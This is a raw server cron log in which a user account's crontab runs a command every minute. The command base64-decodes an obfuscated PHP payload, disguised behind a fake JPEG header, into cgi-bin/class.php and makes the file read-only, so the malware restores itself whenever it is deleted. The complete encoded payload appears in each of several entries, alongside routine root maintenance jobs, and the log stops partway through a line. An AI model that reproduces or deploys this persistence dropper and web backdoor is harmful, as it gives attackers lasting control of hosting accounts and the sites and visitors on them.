Apr  7 19:03:01 server CROND[12304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:04:01 server CROND[12358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:05:01 server CROND[12420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:05:01 server CROND[12421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:05:01 server CROND[12422]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 19:05:01 server CROND[12423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:06:01 server CROND[12537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:07:01 server CROND[12592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:08:01 server CROND[12742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:09:01 server CROND[12796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:09:01 server CROND[12797]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 19:10:01 server CROND[12866]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 19:10:01 server CROND[12868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:10:01 server CROND[12869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:10:01 server CROND[12867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:11:01 server CROND[13006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:12:01 server CROND[13115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:12:01 server CROND[13116]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 19:13:01 server CROND[13266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:14:01 server CROND[13324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:15:01 server CROND[13381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:15:01 server CROND[13382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:15:01 server CROND[13383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:16:01 server CROND[13489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoq